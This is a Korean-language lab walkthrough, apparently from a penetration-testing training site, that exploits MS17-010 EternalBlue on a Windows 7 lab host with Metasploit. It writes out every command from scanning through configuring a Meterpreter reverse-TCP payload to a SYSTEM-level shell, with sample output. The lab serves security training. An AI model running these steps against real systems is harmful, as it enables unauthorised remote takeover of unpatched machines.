Metasploit 에서 Windows 7 대상의 MS17-010 EternalBlue 익스플로잇

Kali LinuxBeginner
지금 연습하기

소개

MS17-010, 공개적으로 EternalBlue 로 알려진 이 취약점은 Microsoft 의 Server Message Block (SMB) 프로토콜 구현에 존재하는 치명적인 취약점입니다. 이 취약점을 통해 원격 공격자는 영향을 받는 시스템에서 임의의 코드를 실행할 수 있습니다. Metasploit Framework 는 익스플로잇 코드 개발, 테스트 및 실행을 위한 강력한 오픈 소스 도구입니다.

이 랩에서는 모의 해킹 전문가의 역할을 수행하게 됩니다. Metasploit Framework 를 사용하여 먼저 스캐너 모듈을 통해 네트워크에서 취약한 Windows 7 머신을 식별합니다. 그런 다음, 대상 시스템에 대해 EternalBlue 익스플로잇을 구성하고 실행하여 Meterpreter 세션을 통해 완전한 원격 제어 권한을 얻습니다. 이 실습 경험은 패치되지 않은 취약점의 실제 영향을 보여줄 것입니다.

이 랩에서는 취약한 Windows 7 머신이 IP 주소 192.168.1.101에 네트워크 상에 존재합니다.

auxiliary/scanner/smb/smb_ms17_010 스캐너를 사용하여 대상 찾기

이 단계에서는 Metasploit 콘솔을 실행하고 특수 스캐너 모듈을 사용하여 대상이 MS17-010 에 취약한지 확인하는 것부터 시작합니다. 이는 모든 모의 해킹에서 중요한 정찰 단계입니다.

먼저 터미널을 열고 msfconsole 명령을 실행하여 Metasploit Framework 콘솔을 시작합니다. 로드하는 데 시간이 다소 걸릴 수 있습니다.

msfconsole

콘솔이 로드되면 Metasploit 명령 프롬프트 (msf6 >) 가 표시됩니다. 이제 use 명령을 사용하여 MS17-010 스캐너 모듈을 선택합니다.

use auxiliary/scanner/smb/smb_ms17_010

다음으로 스캐너에 검사할 호스트를 알려야 합니다. show options 명령으로 이 모듈의 사용 가능한 옵션을 확인합니다.

show options

옵션 목록이 표시됩니다. RHOSTS 옵션은 필수이며 스캔할 원격 호스트를 지정합니다. 이를 대상 Windows 7 머신의 IP 주소로 설정합니다.

set RHOSTS 192.168.1.101

대상이 설정되었으므로 run을 입력하여 스캐너를 실행합니다.

run

Metasploit 이 이제 대상을 스캔합니다. 호스트가 취약한 경우 출력에서 확인 메시지가 표시됩니다.

[+] 192.168.1.101:445   - Host is likely VULNERABLE to MS17-010! (OS: Windows 7 Professional 7601 Service Pack 1)
[*] 192.168.1.101:445   - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

이 출력은 192.168.1.101의 대상이 취약하며 익스플로잇에 적합한 후보임을 확인합니다.

exploit/windows/smb/ms17_010_eternalblue 익스플로잇 선택

이 단계에서는 대상이 취약한 것으로 확인되었으므로 Metasploit 에서 해당 익스플로잇 모듈을 선택합니다. ms17_010_eternalblue 모듈은 이 특정 취약점을 악용하도록 설계되었습니다.

Metasploit 콘솔 내에서 use 명령을 다시 사용하지만 이번에는 익스플로잇 모듈을 로드합니다.

use exploit/windows/smb/ms17_010_eternalblue

명령을 실행한 후 새로 선택된 익스플로잇 모듈의 컨텍스트를 반영하도록 명령 프롬프트가 변경되는 것을 알 수 있습니다. 이는 EternalBlue 익스플로잇의 구성 공간 내에서 작업하고 있음을 나타냅니다.

msf6 exploit(windows/smb/smb/ms17_010_eternalblue) >

이 모듈에는 SMB 취약점을 활용하고 추가 명령을 실행할 수 있도록 대상 머신으로 전송될 코드가 포함되어 있습니다.

RHOSTS 옵션을 취약한 Windows 7 대상으로 설정하기

이 단계에서는 익스플로잇 모듈을 구성하여 취약한 머신의 특정 IP 주소를 대상으로 지정합니다. 스캐너는 IP 범위를 확인할 수 있지만, 익스플로잇은 단일하고 확인된 대상으로 지시해야 합니다.

스캐너 모듈과 마찬가지로 show options 명령을 사용하여 익스플로잇의 구성 옵션을 볼 수 있습니다.

show options

이 모듈에도 "Remote Hosts"를 의미하는 RHOSTS 옵션이 있는 것을 볼 수 있습니다. 현재 비어 있습니다. 첫 번째 단계에서 확인한 Windows 7 대상의 IP 주소로 설정해야 합니다.

set 명령을 사용하여 IP 주소 192.168.1.101RHOSTS에 할당합니다.

set RHOSTS 192.168.1.101

Metasploit 이 변경 사항을 확인합니다.

RHOSTS => 192.168.1.101

이제 익스플로잇은 공격을 어디로 지시해야 하는지 정확히 알고 있습니다.

windows/x64/meterpreter/reverse_tcp 페이로드 설정하기

이 단계에서는 페이로드를 선택합니다. 페이로드는 익스플로잇이 성공적으로 대상 시스템을 장악한 후 해당 시스템에서 실행될 코드입니다. 이 실습에서는 고급의 동적으로 확장 가능한 페이로드인 Meterpreter 를 사용합니다.

windows/x64/meterpreter/reverse_tcp 페이로드는 훌륭한 선택입니다. 대상 머신에서 사용자에게 연결을 생성합니다 ("reverse" 쉘), 이는 방화벽을 우회하는 데 종종 성공적입니다. 또한 64 비트 Windows 시스템용으로 설계되었습니다.

set payload 명령을 사용하여 선택합니다.

set payload windows/x64/meterpreter/reverse_tcp

Metasploit 이 페이로드가 설정되었음을 확인합니다.

payload => windows/x64/meterpreter/reverse_tcp

Metasploit 은 종종 기본 페이로드를 선택하지만, 명시적으로 설정하면 목표에 가장 적합한 페이로드를 사용하고 있는지 확인할 수 있습니다. show options를 다시 실행하여 익스플로잇과 페이로드 모두에 대한 옵션을 볼 수 있습니다. LHOST (Listening Host) 및 LPORT (Listening Port) 와 같은 새로운 옵션이 표시되며, Metasploit 은 일반적으로 사용자의 머신 IP 주소로 자동으로 구성합니다.

익스플로잇 실행 및 Meterpreter 세션 설정

이 단계에서는 모든 옵션이 구성된 상태에서 익스플로잇을 실행하고 대상 머신을 제어합니다.

모든 준비가 완료되었습니다. 익스플로잇이 선택되었고, 대상이 설정되었으며, 페이로드가 선택되었습니다. 공격을 시작하려면 exploit 명령을 사용하면 됩니다.

exploit

이제 Metasploit 이 대상의 취약점을 악용하려고 시도합니다. 작업이 진행됨에 따라 여러 상태 메시지가 표시됩니다. 성공하면 익스플로잇이 Meterpreter 페이로드를 전달하고, "WIN!"을 나타내는 메시지와 함께 새 세션이 열렸다는 메시지가 표시됩니다.

[*] Started reverse TCP handler on 192.168.1.100:4444
[*] 192.168.1.101:445 - Connecting to target for exploitation.
[+] 192.168.1.101:445 - Connection established for exploitation.
...
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Sending stage (200774 bytes) to 192.168.1.101
[*] Meterpreter session 1 opened (192.168.1.100:4444 -> 192.168.1.101:49157) at 2023-10-27 10:30:00 -0400

meterpreter >

meterpreter > 프롬프트는 성공을 의미합니다! 이제 피해자 머신에 원격 쉘을 확보했습니다. 제어권을 증명하기 위해 getuid 명령을 실행하여 어떤 사용자 계정으로 실행 중인지 확인합니다.

getuid

출력은 다음과 같아야 합니다.

Server username: NT AUTHORITY\SYSTEM

NT AUTHORITY\SYSTEM은 Windows 시스템에서 가장 높은 수준의 권한입니다. 대상 시스템을 성공적으로 장악했습니다. sysinfo를 실행하여 시스템 정보를 얻을 수도 있습니다.

sysinfo
Computer        : WIN7-VICTIM
OS              : Windows 7 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x64/windows

축하합니다. MS17-010 을 성공적으로 익스플로잇했습니다.

요약

이 실습에서는 Metasploit Framework 를 사용하여 가장 잘 알려진 취약점 중 하나에 대한 실질적인 경험을 쌓았습니다.

다음과 같은 작업을 성공적으로 수행했습니다.

  • 보조 스캐너 모듈을 사용하여 MS17-010 에 취약한 호스트를 식별했습니다.
  • ms17_010_eternalblue 익스플로잇 모듈을 선택하고 구성했습니다.
  • 강력한 meterpreter 페이로드를 설정하여 원격 연결을 수립했습니다.
  • 익스플로잇을 실행하고 대상 Windows 7 머신에서 SYSTEM-레벨 Meterpreter 세션을 획득했습니다.

이 연습은 운영 체제에 대한 시기적절한 보안 패치의 중요성을 강조합니다. 패치되지 않은 단일 취약점만으로도 공격자가 시스템을 완전히 제어할 수 있습니다.